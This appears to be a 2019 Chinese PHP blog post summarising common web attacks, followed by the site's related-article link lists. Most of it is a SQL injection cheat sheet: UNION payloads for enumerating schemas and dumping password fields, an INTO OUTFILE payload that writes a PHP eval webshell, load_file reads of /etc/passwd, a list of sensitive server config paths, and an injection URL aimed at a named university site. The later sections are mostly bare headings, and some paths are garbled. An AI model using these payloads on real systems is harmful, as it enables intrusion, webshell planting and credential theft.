PHP常见的几种攻击方式实例小结


Posted in PHP onApril 29, 2019

本文实例总结了PHP常见的几种攻击方式。分享给大家供大家参考,具体如下:

1.SQL Injection(sql注入)

①.暴字段长度 Order by num/*

②.匹配字段 and 1=1 union select 1,2,3,4,5…….n/*

③.暴露字段位置 and 1=2 union select 1,2,3,4,5…..n/*

④.利用内置函数暴数据库信息

version() database() user()

不用猜解可用字段暴数据库信息(有些网站不适用):

and 1=2 union all select version() /*

and 1=2 union all select database() /*

and 1=2 union all select user() /*

操作系统信息:

and 1=2 union all select @@global.version_compile_os from mysql.user /*

数据库权限:

and ord(mid(user(),1,1))=114 /* 返回正常说明为root

暴库 (mysql>5.0)

Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息  and 1=2 union select 1,2,3,SCHEMA_NAME,5,6,7,8,9,10 from information_schema.SCHEMATA limit 0,1

猜表

and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—

猜字段

and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1

暴密码

and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

高级用法(一个可用字段显示两个数据内容):Union select 1,2,3concat(用户名段,0x3c,密码段),5,6,7,8,9 from 表名 limit 0,1

直接写马(Root权限)

条件:

①、知道站点物理路径

②、有足够大的权限(可以用select …. from mysql.user测试)

③、magic_quotes_gpc()=OFF

select '<?php eval($_POST[cmd])?>' into outfile '物理路径' and 1=2 union all select 一句话HEX值 into outfile '路径'

load_file() 常用路径:

1、replace(load_file(0×2F6574632F706173737764),0×3c,0×20)
2、replace(load_file(char(47,101,116,99,47,112,97,115,115,119,100)),char(60),char(32))
上面两个是查看一个PHP文件里完全显示代码.有些时候不替换一些字符,如 “<” 替换成”空格” 返回的是网页.而无法查看到代码.
3、load_file(char(47)) 可以列出FreeBSD,Sunos系统根目录
4、/etc tpd/conf tpd.conf或/usr/local/apche/conf tpd.conf 查看linux APACHE虚拟主机配置文件
5、c:\Program Files\Apache Group\Apache\conf \httpd.conf 或C:\apache\conf \httpd.conf 查看WINDOWS系统apache文件
6、c:/Resin-3.0.14/conf/resin.conf 查看jsp开发的网站 resin文件配置信息.
7、c:/Resin/conf/resin.conf /usr/local/resin/conf/resin.conf 查看linux系统配置的JSP虚拟主机
8、d:\APACHE\Apache2\conf\httpd.conf
9、C:\Program Files\mysql\my.ini
10、../themes/darkblue_orange/layout.inc.php phpmyadmin 爆路径
11、 c:\windows\system32\inetsrv\MetaBase.xml 查看IIS的虚拟主机配置文件
12、 /usr/local/resin-3.0.22/conf/resin.conf 针对3.0.22的RESIN配置文件查看
13、 /usr/local/resin-pro-3.0.22/conf/resin.conf 同上
14 、/usr/local/app/apache2/conf/extra tpd-vhosts.conf APASHE虚拟主机查看
15、 /etc/sysconfig/iptables 本看防火墙策略
16 、usr/local/app/php5 b/php.ini PHP 的相当设置
17 、/etc/my.cnf MYSQL的配置文件
18、 /etc/redhat-release 红帽子的系统版本
19 、C:\mysql\data\mysql\user.MYD 存在MYSQL系统中的用户密码
20、/etc/sysconfig/network-scripts/ifcfg-eth0 查看IP.
21、/usr/local/app/php5 b/php.ini //PHP相关设置
22、/usr/local/app/apache2/conf/extra tpd-vhosts.conf //虚拟网站设置
23、C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
24、c:\windows\my.ini
25、c:\boot.ini

手工注射时出现的问题:

当注射后页面显示:

Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,IMPLICIT) for operation 'UNION'

如:http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,load_file(0x433A5C626F6F742E696E69),3,4,user()%20

这是由于前后编码不一致造成的,

解决方法:在参数前加上 unhex(hex(参数))就可以了。上面的URL就可以改为:

http://www.mse.tsinghua.edu.cn/mse/research/instrument.php?ID=13%20and%201=2%20union%20select%201,unhex(hex(load_file(0x433A5C626F6F742E696E69))),3,4,unhex(hex(user()))%20

既可以继续注射了。。。

2.XSS (Cross Site Scripting)(跨站脚本攻击)

3.Source Code Revelation(源代码暴露)

可以用php.ini或者htaccess控制

<Files ~ "\.inc$">
   Order allow,deny
   Deny from all
</Files>

4.Remote File Inclusion(远程文件包含漏洞)

<?php
$file = $_GET['file']; // “ ../../etc/passwd\0”
if(file_exists('/home/wwwrun' . $file . '.php')){xxx}
?>

5.Session Hijacking(session劫持)

6.Cross Site Request Forgery(跨站请求伪造)

7.Directory Traversal(目录跨越)

希望本文所述对大家PHP程序设计有所帮助。

PHP 相关文章推荐
特转载一高手总结PHP学习资源和链接.
Dec 05 PHP
解析用PHP实现var_export的详细介绍
Jun 20 PHP
PHP获取本周第一天和最后一天示例代码
Feb 24 PHP
PHP四舍五入、取整、round函数使用示例
Feb 06 PHP
php中实现用数组妩媚地生成要执行的sql语句
Jul 10 PHP
php使用pclzip类实现文件压缩的方法(附pclzip类下载地址)
Apr 30 PHP
yum命令安装php7和相关扩展
Jul 04 PHP
Yii2主题(Theme)用法详解
Jul 23 PHP
php抛出异常与捕捉特定类型的异常详解
Oct 26 PHP
php获取linux命令结果的实例
Mar 13 PHP
详解Yii2.0 rules验证规则集合
Mar 21 PHP
浅谈PHP中的面向对象OOP中的魔术方法
Jun 12 PHP
php-fpm重启导致的程序执行中断问题详解
Apr 29 #PHP
详解提高使用Java反射的效率方法
Apr 29 #PHP
Thinkphp整合阿里云OSS图片上传实例代码
Apr 28 #PHP
详解php中生成标准uuid(guid)的方法
Apr 28 #PHP
PHP写API输出的时用echo的原因详解
Apr 28 #PHP
PHP+mysql防止SQL注入的方法小结
Apr 27 #PHP
PHP常用工具函数小结【移除XSS攻击、UTF8与GBK编码转换等】
Apr 27 #PHP
You might like
探讨如何在php168_cms中提取验证码
2013/06/08 PHP
解决ThinkPHP下使用上传插件Uploadify浏览器firefox报302错误的方法
2015/12/18 PHP
javascript生成/解析dom的CDATA类型的字段的代码
2007/04/22 Javascript
jquery 学习之一 对象访问
2010/11/23 Javascript
JavaScript高级程序设计 客户端存储学习笔记
2011/09/10 Javascript
解析js如何获取当前url中的参数值并复制给input
2013/06/23 Javascript
Extjs NumberField后面加单位实现思路
2013/07/30 Javascript
jquery easyui 结合jsp简单展现table数据示例
2014/04/18 Javascript
JQuery插件Quicksand实现超炫的动画洗牌效果
2015/05/03 Javascript
简介JavaScript中Math.cos()余弦方法的使用
2015/06/15 Javascript
BootStrap中按钮点击后被禁用按钮的最佳实现方法
2016/09/23 Javascript
BootStrap实现邮件列表的分页和模态框添加邮件的功能
2016/10/13 Javascript
JavaScript页面实时显示当前时间实例代码
2016/10/23 Javascript
vue数组对象排序的实现代码
2018/06/20 Javascript
JS实现数组的增删改查操作示例
2018/08/29 Javascript
vue elementui el-form rules动态验证的实例代码详解
2019/05/23 Javascript
vue使用websocket的方法实例分析
2019/06/22 Javascript
layui关闭弹窗后刷新主页面和当前更改项的例子
2019/09/06 Javascript
webpack 处理CSS资源的实现
2019/09/27 Javascript
通过实例解析chrome如何在mac环境中安装vue-devtools插件
2020/07/10 Javascript
[46:03]LGD vs VGJ.T 2018国际邀请赛小组赛BO2 第一场 8.16
2018/08/17 DOTA
Python cookbook(数据结构与算法)让字典保持有序的方法
2018/02/18 Python
关于Python 的简单栅格图像边界提取方法
2019/07/05 Python
Django之提交表单与前后端交互的方法
2019/07/19 Python
django的ORM操作 增加和查询
2019/07/26 Python
python shutil文件操作工具使用实例分析
2019/12/25 Python
selenium学习教程之定位以及切换frame(iframe)
2021/01/04 Python
英国在线珠宝店:The Jewel Hut
2017/03/20 全球购物
Tripadvisor新西兰:阅读评论,比较价格和酒店预订
2018/02/10 全球购物
Qoo10台湾站:亚洲领先的在线市场
2018/05/15 全球购物
幼儿园小班评语大全
2014/04/17 职场文书
优秀的个人求职信范文
2014/05/09 职场文书
2015年音乐教学工作总结
2015/07/22 职场文书
php实现自动生成验证码的实例讲解
2021/11/17 PHP
oracle delete误删除表数据后如何恢复
2022/06/28 Oracle
Spring中bean集合注入的方法详解
2022/07/07 Java/Android